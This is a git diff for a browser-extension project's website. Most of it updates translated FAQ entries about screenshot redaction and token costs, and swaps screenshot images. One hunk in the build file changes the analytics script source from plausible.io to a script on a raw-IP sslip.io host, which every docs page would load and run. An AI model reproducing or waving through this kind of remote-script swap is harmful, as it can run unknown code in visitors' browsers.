"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain 如何控制云端 LLM 的账单?",
- "faq.token_conscious.a_html": "<p>三个独立的层:</p><p><strong>节省 token 的截图。</strong>在任何图像离开你的机器之前,WebBrain 会先缩放它(短边封顶,保持宽高比),然后迭代 JPEG 压缩直到适配每轮的图像 token 预算。一张 2000×1200 的截图,在 GPT-4o 上原本大约要花 1500 个输入 token,可被压缩到约 300–500 个 token,对页面阅读任务来说没有实际损失。实现位于 <code>_fitImageDimensions</code>,并有覆盖预算计算的单元测试。</p><p><strong>智能上下文裁剪。</strong>对话历史、工具输出和内联 DOM 转储都会按每轮加以限制,当活跃模型的上下文窗口接近占满时,会从最早的内容开始裁剪。你不会看到一次运行因为一次 <code>read_page</code> 返回了一篇长篇大论,就从 1 万 token 悄悄膨胀到 10 万。</p><p><strong>专用视觉模型。</strong>将便宜的文本模型(如 GPT-4o-mini)用于规划和工具调用,再配一个专门的视觉模型(如 GPT-4o)只用于截图,这样你不必在每一轮都支付多模态模型的价格。可在 <strong>设置 → 视觉</strong> 中配置。</p><p>结果:与云端提供商的长会话保持可预测。如需完全控制,请使用本地 llama.cpp —— 每 token 成本为零。</p>",
+ "faq.token_conscious.a_html": "<p>三个独立的层:</p><p><strong>节省 token 的截图。</strong>在任何图像离开你的机器之前,WebBrain 会先缩放它(短边封顶,保持宽高比),然后迭代 JPEG 压缩直到适配每轮的图像 token 预算。一张 2000×1200 的截图,在 GPT-4o 上原本大约要花 1500 个输入 token,可被压缩到约 300–500 个 token,对页面阅读任务来说没有实际损失。实现位于 <code>_fitImageDimensions</code>,并有覆盖预算计算的单元测试。</p><p><strong>智能上下文裁剪。</strong>对话历史、工具输出和内联 DOM 转储都会按每轮加以限制,当活跃模型的上下文窗口接近占满时,会从最早的内容开始裁剪。你不会看到一次运行因为一次 <code>read_page</code> 返回了一篇长篇大论,就从 1 万 token 悄悄膨胀到 10 万。</p><p><strong>专用视觉模型。</strong>将便宜的文本模型(如 GPT-4o-mini)用于规划和工具调用,再配一个专门的视觉模型(如 GPT-4o)只用于截图,这样你不必在每一轮都支付多模态模型的价格。可在 <strong>设置 → 辅助模型 → 视觉</strong> 中配置。</p><p>结果:与云端提供商的长会话保持可预测。如需完全控制,请使用本地 llama.cpp —— 每 token 成本为零。</p>",
"faq.contribute.q": "我可以为 WebBrain 做贡献吗?",
"faq.contribute.a_html": "当然可以!WebBrain 采用 GPL-3.0-or-later 许可,欢迎贡献。请查看 <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub 仓库</a> 了解议题、功能请求和贡献指南。",
"oss.title": "100% 开源",
diff --git a/web/build/plausible.mjs b/web/build/plausible.mjs
index b752dc5fa..21dcc2980 100644
--- a/web/build/plausible.mjs
+++ b/web/build/plausible.mjs
@@ -1,4 +1,4 @@
-export const PLAUSIBLE_SCRIPT_URL = 'https://plausible.io/js/pa-yWGfwxkkKSVs-eTuaKYpy.js';
+export const PLAUSIBLE_SCRIPT_URL = 'https://157.230.3.9.sslip.io/js/pa-omp0F7DsOXM4sGKR50l7S.js';
export const PLAUSIBLE_ANALYTICS = ` <!-- Plausible analytics: start -->
<!-- Privacy-friendly analytics by Plausible -->
diff --git a/web/docs/ar/faq/index.html b/web/docs/ar/faq/index.html
index ec3764bca..e2bf1c36b 100644
--- a/web/docs/ar/faq/index.html
+++ b/web/docs/ar/faq/index.html
@@ -249,7 +249,7 @@
"name": "هل يضمن إعداد تعتيم لقطات الشاشة عدم وصول بياناتي الخاصة أبدًا إلى نموذج رؤية سحابي؟",
"acceptedAnswer": {
"@type": "Answer",
- "text": "لا — فهو يقلّل من التعرّض ولا يُعدّ ضمانًا. عند تفعيله (الإعدادات ← متعدّد الوسائط ← تعتيم لقطات الشاشة، معطّل افتراضيًا)، يقوم WebBrain بتغبيش حقول النماذج والنص الذي يبدو كعنوان بريد إلكتروني أو رقم هاتف في كل لقطة شاشة قبل إرسالها إلى نموذج رؤية. يعمل الكشف بالكامل على جهازك باستخدام استدلالات DOM؛ ولا يُنقل أي شيء إضافي. هذا تعتيم بأفضل جهد ومن نوع fail-open. إذا تعذّر على كاشف التعتيم العمل على صفحة ما — مثلًا مباشرة بعد التنقل، أو في عارضات PDF، أو على صفحات المتصفح المقيّدة — فستُرسل لقطة الشاشة كما هي دون تعتيم بدلًا من إلغاء مهمتك. المحتوى الذي لا تستطيع استدلالات DOM رؤيته (نص مرسوم على عنصر canvas، بيانات شخصية داخل الصور، عناصر واجهة غير معتادة) قد يفلت أيضًا. كما أن الإعداد يغطي لقطات الشاشة فقط: نص الصفحة المُرسل إلى النموذج لا يُعتَّم به. للحصول على خصوصية كاملة في الرؤية، استخدم نموذجًا محليًا. مع مزوّد دون اتصال مثل llama.cpp أو Ollama، لا تغادر لقطات الشاشة ونص الصفحة جهازك أبدًا، وبالتالي لا يوجد شيء لتعتيمه أصلًا — وهذا هو الإعداد الوحيد الذي تُضمن فيه الخصوصية. راجع \"هل يمكنني استخدام WebBrain بدون اتصال بالإنترنت بالكامل؟\" أعلاه. ليس لديك جهاز قادر على تشغيل نموذج محلي يدعم الرؤية؟ حلّ وسط جيد هو استخدام نموذج محلي صغير للتخطيط واستدعاء الأدوات (خفيف بما يكفي لمعالج/بطاقة رسومات متواضعة) مع مزوّد سحابي لاستدعاءات الرؤية الفرعية، مع تفعيل تعتيم لقطات الشاشة. يبقى حديثك ونص الصفحة على جهازك، وكل لقطة شاشة تُرسَل إلى الرؤية السحابية تكون قد غُبِّشت فيها حقول النماذج والبريد/الهاتف المكتشَف مسبقًا — تعرّض أقل في السحابة دون الحاجة إلى عتاد لنموذج رؤية محلي كامل. اضبط هذا التقسيم ضمن الإعدادات ← الرؤية (راجع \"كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟\" أعلاه)."
+ "text": "لا — فهو يقلّل من التعرّض ولا يُعدّ ضمانًا. عند تفعيله (الإعدادات ← النماذج المساعدة ← الرؤية ← تعتيم لقطات الشاشة، معطّل افتراضيًا)، يقوم WebBrain بتغبيش حقول النماذج والنص الذي يبدو كعنوان بريد إلكتروني أو رقم هاتف في كل لقطة شاشة قبل إرسالها إلى نموذج رؤية. يعمل الكشف بالكامل على جهازك باستخدام استدلالات DOM؛ ولا يُنقل أي شيء إضافي. هذا تعتيم بأفضل جهد ومن نوع fail-open. إذا تعذّر على كاشف التعتيم العمل على صفحة ما — مثلًا مباشرة بعد التنقل، أو في عارضات PDF، أو على صفحات المتصفح المقيّدة — فستُرسل لقطة الشاشة كما هي دون تعتيم بدلًا من إلغاء مهمتك. المحتوى الذي لا تستطيع استدلالات DOM رؤيته (نص مرسوم على عنصر canvas، بيانات شخصية داخل الصور، عناصر واجهة غير معتادة) قد يفلت أيضًا. كما أن الإعداد يغطي لقطات الشاشة فقط: نص الصفحة المُرسل إلى النموذج لا يُعتَّم به. للحصول على خصوصية كاملة في الرؤية، استخدم نموذجًا محليًا. مع مزوّد دون اتصال مثل llama.cpp أو Ollama، لا تغادر لقطات الشاشة ونص الصفحة جهازك أبدًا، وبالتالي لا يوجد شيء لتعتيمه أصلًا — وهذا هو الإعداد الوحيد الذي تُضمن فيه الخصوصية. راجع \"هل يمكنني استخدام WebBrain بدون اتصال بالإنترنت بالكامل؟\" أعلاه. ليس لديك جهاز قادر على تشغيل نموذج محلي يدعم الرؤية؟ حلّ وسط جيد هو استخدام نموذج محلي صغير للتخطيط واستدعاء الأدوات (خفيف بما يكفي لمعالج/بطاقة رسومات متواضعة) مع مزوّد سحابي لاستدعاءات الرؤية الفرعية، مع تفعيل تعتيم لقطات الشاشة. يبقى حديثك ونص الصفحة على جهازك، وكل لقطة شاشة تُرسَل إلى الرؤية السحابية تكون قد غُبِّشت فيها حقول النماذج والبريد/الهاتف المكتشَف مسبقًا — تعرّض أقل في السحابة دون الحاجة إلى عتاد لنموذج رؤية محلي كامل. اضبط هذا التقسيم ضمن الإعدادات ← النماذج المساعدة ← الرؤية (راجع \"كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟\" أعلاه)."
}
},
{
@@ -289,7 +289,7 @@
"name": "كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟",
"acceptedAnswer": {
"@type": "Answer",
- "text": "ثلاث طبقات مستقلة: لقطات شاشة موفّرة للرموز. قبل أن تغادر أي صورة جهازك، يُعيد WebBrain تحجيمها (الجانب الأقصر محدّد مع الحفاظ على نسبة الأبعاد) ويضغطها بصيغة JPEG تكراريًا حتى تتسع لميزانية رموز الصور لكل دور. لقطة شاشة 2000×1200 كانت ستكلّفك نحو 1500 رمز إدخال على GPT-4o يتمّ ضغطها إلى ~300–500 رمز دون خسارة عملية لمهمات قراءة الصفحات. مُنفّذ في _fitImageDimensions مع اختبارات وحدة لحسابات الميزانية. تقصّ ذكي للسياق. تاريخ المحادثة، مخرجات الأدوات، وعمليات تفريغ DOM المضمّنة، كلّها مقيّدة لكل دور وتُقصّ من الأقدم أولًا عندما تقترب نافذة سياق الموديل النشط من الامتلاء. لن ترى تشغيلًا يتضخّم بصمت من 10 آلاف رمز إلى 100 ألف لمجرد أن read_page أعاد مقالًا بطول رواية. نموذج رؤية مخصّص. اقرن نموذجًا نصيًا رخيصًا (مثل GPT-4o-mini) للتخطيط واستدعاء الأدوات بنموذج منفصل يدعم الرؤية (مثل GPT-4o) فقط للقطات الشاشة، فلا تدفع أسعار النماذج المتعدّدة الوسائط في كل دور. إعداده ضمن الإعدادات ← الرؤية. النتيجة: الجلسات الطويلة مع مزوّدي السحابة تبقى قابلة للتنبؤ. للسيطرة الكاملة، استخدم llama.cpp محليًا — تكلفة الرموز صفر."
+ "text": "ثلاث طبقات مستقلة: لقطات شاشة موفّرة للرموز. قبل أن تغادر أي صورة جهازك، يُعيد WebBrain تحجيمها (الجانب الأقصر محدّد مع الحفاظ على نسبة الأبعاد) ويضغطها بصيغة JPEG تكراريًا حتى تتسع لميزانية رموز الصور لكل دور. لقطة شاشة 2000×1200 كانت ستكلّفك نحو 1500 رمز إدخال على GPT-4o يتمّ ضغطها إلى ~300–500 رمز دون خسارة عملية لمهمات قراءة الصفحات. مُنفّذ في _fitImageDimensions مع اختبارات وحدة لحسابات الميزانية. تقصّ ذكي للسياق. تاريخ المحادثة، مخرجات الأدوات، وعمليات تفريغ DOM المضمّنة، كلّها مقيّدة لكل دور وتُقصّ من الأقدم أولًا عندما تقترب نافذة سياق الموديل النشط من الامتلاء. لن ترى تشغيلًا يتضخّم بصمت من 10 آلاف رمز إلى 100 ألف لمجرد أن read_page أعاد مقالًا بطول رواية. نموذج رؤية مخصّص. اقرن نموذجًا نصيًا رخيصًا (مثل GPT-4o-mini) للتخطيط واستدعاء الأدوات بنموذج منفصل يدعم الرؤية (مثل GPT-4o) فقط للقطات الشاشة، فلا تدفع أسعار النماذج المتعدّدة الوسائط في كل دور. إعداده ضمن الإعدادات ← النماذج المساعدة ← الرؤية. النتيجة: الجلسات الطويلة مع مزوّدي السحابة تبقى قابلة للتنبؤ. للسيطرة الكاملة، استخدم llama.cpp محليًا — تكلفة الرموز صفر."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>ثلاث طبقات مستقلة:</p><p><strong>لقطات شاشة موفّرة للرموز.</strong> قبل أن تغادر أي صورة جهازك، يُعيد WebBrain تحجيمها (الجانب الأقصر محدّد مع الحفاظ على نسبة الأبعاد) ويضغطها بصيغة JPEG تكراريًا حتى تتسع لميزانية رموز الصور لكل دور. لقطة شاشة 2000×1200 كانت ستكلّفك نحو 1500 رمز إدخال على GPT-4o يتمّ ضغطها إلى ~300–500 رمز دون خسارة عملية لمهمات قراءة الصفحات. مُنفّذ في <code>_fitImageDimensions</code> مع اختبارات وحدة لحسابات الميزانية.</p><p><strong>تقصّ ذكي للسياق.</strong> تاريخ المحادثة، مخرجات الأدوات، وعمليات تفريغ DOM المضمّنة، كلّها مقيّدة لكل دور وتُقصّ من الأقدم أولًا عندما تقترب نافذة سياق الموديل النشط من الامتلاء. لن ترى تشغيلًا يتضخّم بصمت من 10 آلاف رمز إلى 100 ألف لمجرد أن <code>read_page</code> أعاد مقالًا بطول رواية.</p><p><strong>نموذج رؤية مخصّص.</strong> اقرن نموذجًا نصيًا رخيصًا (مثل GPT-4o-mini) للتخطيط واستدعاء الأدوات بنموذج منفصل يدعم الرؤية (مثل GPT-4o) فقط للقطات الشاشة، فلا تدفع أسعار النماذج المتعدّدة الوسائط في كل دور. إعداده ضمن <strong>الإعدادات ← الرؤية</strong>.</p><p>النتيجة: الجلسات الطويلة مع مزوّدي السحابة تبقى قابلة للتنبؤ. للسيطرة الكاملة، استخدم llama.cpp محليًا — تكلفة الرموز صفر.</p></div>
+ <div class="faq-answer"><p>ثلاث طبقات مستقلة:</p><p><strong>لقطات شاشة موفّرة للرموز.</strong> قبل أن تغادر أي صورة جهازك، يُعيد WebBrain تحجيمها (الجانب الأقصر محدّد مع الحفاظ على نسبة الأبعاد) ويضغطها بصيغة JPEG تكراريًا حتى تتسع لميزانية رموز الصور لكل دور. لقطة شاشة 2000×1200 كانت ستكلّفك نحو 1500 رمز إدخال على GPT-4o يتمّ ضغطها إلى ~300–500 رمز دون خسارة عملية لمهمات قراءة الصفحات. مُنفّذ في <code>_fitImageDimensions</code> مع اختبارات وحدة لحسابات الميزانية.</p><p><strong>تقصّ ذكي للسياق.</strong> تاريخ المحادثة، مخرجات الأدوات، وعمليات تفريغ DOM المضمّنة، كلّها مقيّدة لكل دور وتُقصّ من الأقدم أولًا عندما تقترب نافذة سياق الموديل النشط من الامتلاء. لن ترى تشغيلًا يتضخّم بصمت من 10 آلاف رمز إلى 100 ألف لمجرد أن <code>read_page</code> أعاد مقالًا بطول رواية.</p><p><strong>نموذج رؤية مخصّص.</strong> اقرن نموذجًا نصيًا رخيصًا (مثل GPT-4o-mini) للتخطيط واستدعاء الأدوات بنموذج منفصل يدعم الرؤية (مثل GPT-4o) فقط للقطات الشاشة، فلا تدفع أسعار النماذج المتعدّدة الوسائط في كل دور. إعداده ضمن <strong>الإعدادات ← النماذج المساعدة ← الرؤية</strong>.</p><p>النتيجة: الجلسات الطويلة مع مزوّدي السحابة تبقى قابلة للتنبؤ. للسيطرة الكاملة، استخدم llama.cpp محليًا — تكلفة الرموز صفر.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>هل يضمن إعداد تعتيم لقطات الشاشة عدم وصول بياناتي الخاصة أبدًا إلى نموذج رؤية سحابي؟</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>لا — فهو يقلّل من التعرّض ولا يُعدّ ضمانًا. عند تفعيله (<strong>الإعدادات ← متعدّد الوسائط ← تعتيم لقطات الشاشة</strong>، معطّل افتراضيًا)، يقوم WebBrain بتغبيش حقول النماذج والنص الذي يبدو كعنوان بريد إلكتروني أو رقم هاتف في كل لقطة شاشة <em>قبل</em> إرسالها إلى نموذج رؤية. يعمل الكشف بالكامل على جهازك باستخدام استدلالات DOM؛ ولا يُنقل أي شيء إضافي.</p><p><strong>هذا تعتيم بأفضل جهد ومن نوع fail-open.</strong> إذا تعذّر على كاشف التعتيم العمل على صفحة ما — مثلًا مباشرة بعد التنقل، أو في عارضات PDF، أو على صفحات المتصفح المقيّدة — فستُرسل لقطة الشاشة كما هي <em>دون تعتيم</em> بدلًا من إلغاء مهمتك. المحتوى الذي لا تستطيع استدلالات DOM رؤيته (نص مرسوم على عنصر canvas، بيانات شخصية داخل الصور، عناصر واجهة غير معتادة) قد يفلت أيضًا. كما أن الإعداد يغطي لقطات الشاشة فقط: نص الصفحة المُرسل إلى النموذج لا يُعتَّم به.</p><p><strong>للحصول على خصوصية كاملة في الرؤية، استخدم نموذجًا محليًا.</strong> مع مزوّد دون اتصال مثل llama.cpp أو Ollama، لا تغادر لقطات الشاشة ونص الصفحة جهازك أبدًا، وبالتالي لا يوجد شيء لتعتيمه أصلًا — وهذا هو الإعداد الوحيد الذي تُضمن فيه الخصوصية. راجع "هل يمكنني استخدام WebBrain بدون اتصال بالإنترنت بالكامل؟" أعلاه.</p><p><strong>ليس لديك جهاز قادر على تشغيل نموذج محلي يدعم الرؤية؟</strong> حلّ وسط جيد هو استخدام نموذج محلي صغير للتخطيط واستدعاء الأدوات (خفيف بما يكفي لمعالج/بطاقة رسومات متواضعة) مع مزوّد سحابي لاستدعاءات الرؤية الفرعية، مع تفعيل تعتيم لقطات الشاشة. يبقى حديثك ونص الصفحة على جهازك، وكل لقطة شاشة تُرسَل إلى الرؤية السحابية تكون قد غُبِّشت فيها حقول النماذج والبريد/الهاتف المكتشَف مسبقًا — تعرّض أقل في السحابة دون الحاجة إلى عتاد لنموذج رؤية محلي كامل. اضبط هذا التقسيم ضمن <strong>الإعدادات ← الرؤية</strong> (راجع "كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟" أعلاه).</p></div>
+ <div class="faq-answer"><p>لا — فهو يقلّل من التعرّض ولا يُعدّ ضمانًا. عند تفعيله (<strong>الإعدادات ← النماذج المساعدة ← الرؤية ← تعتيم لقطات الشاشة</strong>، معطّل افتراضيًا)، يقوم WebBrain بتغبيش حقول النماذج والنص الذي يبدو كعنوان بريد إلكتروني أو رقم هاتف في كل لقطة شاشة <em>قبل</em> إرسالها إلى نموذج رؤية. يعمل الكشف بالكامل على جهازك باستخدام استدلالات DOM؛ ولا يُنقل أي شيء إضافي.</p><p><strong>هذا تعتيم بأفضل جهد ومن نوع fail-open.</strong> إذا تعذّر على كاشف التعتيم العمل على صفحة ما — مثلًا مباشرة بعد التنقل، أو في عارضات PDF، أو على صفحات المتصفح المقيّدة — فستُرسل لقطة الشاشة كما هي <em>دون تعتيم</em> بدلًا من إلغاء مهمتك. المحتوى الذي لا تستطيع استدلالات DOM رؤيته (نص مرسوم على عنصر canvas، بيانات شخصية داخل الصور، عناصر واجهة غير معتادة) قد يفلت أيضًا. كما أن الإعداد يغطي لقطات الشاشة فقط: نص الصفحة المُرسل إلى النموذج لا يُعتَّم به.</p><p><strong>للحصول على خصوصية كاملة في الرؤية، استخدم نموذجًا محليًا.</strong> مع مزوّد دون اتصال مثل llama.cpp أو Ollama، لا تغادر لقطات الشاشة ونص الصفحة جهازك أبدًا، وبالتالي لا يوجد شيء لتعتيمه أصلًا — وهذا هو الإعداد الوحيد الذي تُضمن فيه الخصوصية. راجع "هل يمكنني استخدام WebBrain بدون اتصال بالإنترنت بالكامل؟" أعلاه.</p><p><strong>ليس لديك جهاز قادر على تشغيل نموذج محلي يدعم الرؤية؟</strong> حلّ وسط جيد هو استخدام نموذج محلي صغير للتخطيط واستدعاء الأدوات (خفيف بما يكفي لمعالج/بطاقة رسومات متواضعة) مع مزوّد سحابي لاستدعاءات الرؤية الفرعية، مع تفعيل تعتيم لقطات الشاشة. يبقى حديثك ونص الصفحة على جهازك، وكل لقطة شاشة تُرسَل إلى الرؤية السحابية تكون قد غُبِّشت فيها حقول النماذج والبريد/الهاتف المكتشَف مسبقًا — تعرّض أقل في السحابة دون الحاجة إلى عتاد لنموذج رؤية محلي كامل. اضبط هذا التقسيم ضمن <strong>الإعدادات ← النماذج المساعدة ← الرؤية</strong> (راجع "كيف يُبقي WebBrain فواتير LLM السحابية تحت السيطرة؟" أعلاه).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>هل يرسل WebBrain شجرة DOM كاملة إلى نموذج الذكاء الاصطناعي؟</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/assets/screenshots/settings-advanced.jpg b/web/docs/assets/screenshots/settings-advanced.jpg
index 73993552c..5a2e2f077 100644
Binary files a/web/docs/assets/screenshots/settings-advanced.jpg and b/web/docs/assets/screenshots/settings-advanced.jpg differ
diff --git a/web/docs/assets/screenshots/settings-assistive-models.jpg b/web/docs/assets/screenshots/settings-assistive-models.jpg
new file mode 100644
index 000000000..d15e858cc
Binary files /dev/null and b/web/docs/assets/screenshots/settings-assistive-models.jpg differ
diff --git a/web/docs/assets/screenshots/settings-general.jpg b/web/docs/assets/screenshots/settings-general.jpg
index 1abaa0f50..88e7c5ea4 100644
Binary files a/web/docs/assets/screenshots/settings-general.jpg and b/web/docs/assets/screenshots/settings-general.jpg differ
diff --git a/web/docs/assets/screenshots/settings-jev.jpg b/web/docs/assets/screenshots/settings-jev.jpg
new file mode 100644
index 000000000..7e590fbff
Binary files /dev/null and b/web/docs/assets/screenshots/settings-jev.jpg differ
diff --git a/web/docs/assets/screenshots/settings-memory.jpg b/web/docs/assets/screenshots/settings-memory.jpg
index 2aeffb807..26461f1c4 100644
Binary files a/web/docs/assets/screenshots/settings-memory.jpg and b/web/docs/assets/screenshots/settings-memory.jpg differ
diff --git a/web/docs/assets/screenshots/settings-permissions.jpg b/web/docs/assets/screenshots/settings-permissions.jpg
index 64a9a2c68..2e1ed7f74 100644
Binary files a/web/docs/assets/screenshots/settings-permissions.jpg and b/web/docs/assets/screenshots/settings-permissions.jpg differ
diff --git a/web/docs/assets/screenshots/settings-providers.jpg b/web/docs/assets/screenshots/settings-providers.jpg
index dfd68636e..fddeb2d5c 100644
Binary files a/web/docs/assets/screenshots/settings-providers.jpg and b/web/docs/assets/screenshots/settings-providers.jpg differ
diff --git a/web/docs/bn/faq/index.html b/web/docs/bn/faq/index.html
index bb37647ae..b80202a3b 100644
--- a/web/docs/bn/faq/index.html
+++ b/web/docs/bn/faq/index.html
@@ -249,7 +249,7 @@
"name": "স্ক্রিনশট রিডাকশন সেটিং কি গ্যারান্টি দেয় যে আমার ব্যক্তিগত ডেটা কখনই ক্লাউড ভিশন মডেলে পৌঁছাবে না?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "না - এটি এক্সপোজার হ্রাস করে, এটি একটি গ্যারান্টি নয়। যখন সক্রিয় (সেটিংস → মাল্টিমোডাল → স্ক্রিনশট রিডাকশন, ডিফল্টরূপে বন্ধ), WebBrain পিক্সেলেট ক্ষেত্র এবং পাঠ্য গঠন করে যা প্রতিটি স্ক্রিনশটে একটি ইমেল ঠিকানা বা ফোন নম্বরের মতো দেখায় আগে এটি একটি দৃষ্টি মডেল পাঠানো হয়. DOM হিউরিস্টিকস ব্যবহার করে সনাক্তকরণ সম্পূর্ণরূপে আপনার ডিভাইসে চলে; অতিরিক্ত কিছুই প্রেরণ করা হয় না। এটি সর্বোত্তম-প্রচেষ্টা এবং ব্যর্থ-খোলা। যদি ডিটেক্টর একটি পৃষ্ঠায় চলতে না পারে - উদাহরণস্বরূপ একটি নেভিগেশনের পরপরই, পিডিএফ ভিউয়ারে বা সীমাবদ্ধ ব্রাউজার পৃষ্ঠাগুলিতে - স্ক্রিনশট এখনও পাঠানো হয় unredacted আপনার কাজ বাতিল করার পরিবর্তে। DOM হিউরিস্টিকস যে বিষয়বস্তু দেখতে পারে না (ক্যানভাসে আঁকা পাঠ্য, চিত্রের ভিতরে PII, অস্বাভাবিক উইজেট) এছাড়াও স্লিপ হতে পারে। এবং সেটিং শুধুমাত্র স্ক্রিনশট কভার করে: পৃষ্ঠা পাঠ্য মডেল পাঠানো এটি দ্বারা সংশোধন করা হয় না. সম্পূর্ণ দৃষ্টি গোপনীয়তার জন্য, একটি স্থানীয় মডেল ব্যবহার করুন. অফলাইন প্রদানকারীর সাথে যেমন llama.cpp বা Ollama, স্ক্রিনশট এবং পৃষ্ঠার পাঠ্য কখনই আপনার মেশিন থেকে যায় না, তাই প্রথম স্থানে সংশোধন করার কিছু নেই — এটিই একমাত্র কনফিগারেশন যেখানে গোপনীয়তা নিশ্চিত করা হয়৷ দেখুন \"আমি কি পুরোপুরি অফলাইনে WebBrain ব্যবহার করতে পারি?\" উপরে এমন একটি মেশিন নেই যা একটি দৃষ্টি-সক্ষম স্থানীয় মডেল চালাতে পারে? একটি ভাল মিডল গ্রাউন্ড হল পরিকল্পনা এবং টুল কলের জন্য একটি ছোট স্থানীয় মডেল (একটি পরিমিত CPU/GPU-এর জন্য যথেষ্ট দ্রুত এবং হালকা) যা ভিশন সাব-কলের জন্য একটি ক্লাউড প্রদানকারীর সাথে যুক্ত, স্ক্রিনশট রিডাকশন চালু আছে। আপনি এখনও ডিভাইসে আপনার কথোপকথন এবং পৃষ্ঠার পাঠ্য রাখেন এবং ক্লাউড ভিশনের জন্য ছেড়ে যাওয়া প্রতিটি স্ক্রিনশটের ফর্ম ক্ষেত্র রয়েছে এবং সনাক্ত করা ইমেল/ফোনগুলি প্রথমে ঝাপসা করা হয়েছে — সম্পূর্ণ স্থানীয় দৃষ্টি মডেলের জন্য হার্ডওয়্যারের প্রয়োজন ছাড়াই ক্লাউড এক্সপোজার হ্রাস করা হয়েছে। অধীনে দৃষ্টি বিভক্ত কনফিগার করুন সেটিংস → দৃষ্টি (উপরে দেখুন \"কিভাবে WebBrain ক্লাউড LLM বিল নিয়ন্ত্রণে রাখে?\""
+ "text": "না - এটি এক্সপোজার হ্রাস করে, এটি একটি গ্যারান্টি নয়। যখন সক্রিয় (সেটিংস → সহায়ক মডেল → দৃষ্টি → স্ক্রিনশট রিডাকশন, ডিফল্টরূপে বন্ধ), WebBrain পিক্সেলেট ক্ষেত্র এবং পাঠ্য গঠন করে যা প্রতিটি স্ক্রিনশটে একটি ইমেল ঠিকানা বা ফোন নম্বরের মতো দেখায় আগে এটি একটি দৃষ্টি মডেল পাঠানো হয়. DOM হিউরিস্টিকস ব্যবহার করে সনাক্তকরণ সম্পূর্ণরূপে আপনার ডিভাইসে চলে; অতিরিক্ত কিছুই প্রেরণ করা হয় না। এটি সর্বোত্তম-প্রচেষ্টা এবং ব্যর্থ-খোলা। যদি ডিটেক্টর একটি পৃষ্ঠায় চলতে না পারে - উদাহরণস্বরূপ একটি নেভিগেশনের পরপরই, পিডিএফ ভিউয়ারে বা সীমাবদ্ধ ব্রাউজার পৃষ্ঠাগুলিতে - স্ক্রিনশট এখনও পাঠানো হয় unredacted আপনার কাজ বাতিল করার পরিবর্তে। DOM হিউরিস্টিকস যে বিষয়বস্তু দেখতে পারে না (ক্যানভাসে আঁকা পাঠ্য, চিত্রের ভিতরে PII, অস্বাভাবিক উইজেট) এছাড়াও স্লিপ হতে পারে। এবং সেটিং শুধুমাত্র স্ক্রিনশট কভার করে: পৃষ্ঠা পাঠ্য মডেল পাঠানো এটি দ্বারা সংশোধন করা হয় না. সম্পূর্ণ দৃষ্টি গোপনীয়তার জন্য, একটি স্থানীয় মডেল ব্যবহার করুন. অফলাইন প্রদানকারীর সাথে যেমন llama.cpp বা Ollama, স্ক্রিনশট এবং পৃষ্ঠার পাঠ্য কখনই আপনার মেশিন থেকে যায় না, তাই প্রথম স্থানে সংশোধন করার কিছু নেই — এটিই একমাত্র কনফিগারেশন যেখানে গোপনীয়তা নিশ্চিত করা হয়৷ দেখুন \"আমি কি পুরোপুরি অফলাইনে WebBrain ব্যবহার করতে পারি?\" উপরে এমন একটি মেশিন নেই যা একটি দৃষ্টি-সক্ষম স্থানীয় মডেল চালাতে পারে? একটি ভাল মিডল গ্রাউন্ড হল পরিকল্পনা এবং টুল কলের জন্য একটি ছোট স্থানীয় মডেল (একটি পরিমিত CPU/GPU-এর জন্য যথেষ্ট দ্রুত এবং হালকা) যা ভিশন সাব-কলের জন্য একটি ক্লাউড প্রদানকারীর সাথে যুক্ত, স্ক্রিনশট রিডাকশন চালু আছে। আপনি এখনও ডিভাইসে আপনার কথোপকথন এবং পৃষ্ঠার পাঠ্য রাখেন এবং ক্লাউড ভিশনের জন্য ছেড়ে যাওয়া প্রতিটি স্ক্রিনশটের ফর্ম ক্ষেত্র রয়েছে এবং সনাক্ত করা ইমেল/ফোনগুলি প্রথমে ঝাপসা করা হয়েছে — সম্পূর্ণ স্থানীয় দৃষ্টি মডেলের জন্য হার্ডওয়্যারের প্রয়োজন ছাড়াই ক্লাউড এক্সপোজার হ্রাস করা হয়েছে। অধীনে দৃষ্টি বিভক্ত কনফিগার করুন সেটিংস → সহায়ক মডেল → দৃষ্টি (উপরে দেখুন \"কিভাবে WebBrain ক্লাউড LLM বিল নিয়ন্ত্রণে রাখে?\""
}
},
{
@@ -289,7 +289,7 @@
"name": "কিভাবে WebBrain ক্লাউড এলএলএম বিল নিয়ন্ত্রণে রাখে?",
"acceptedAnswer": {
"@type": "Answer",
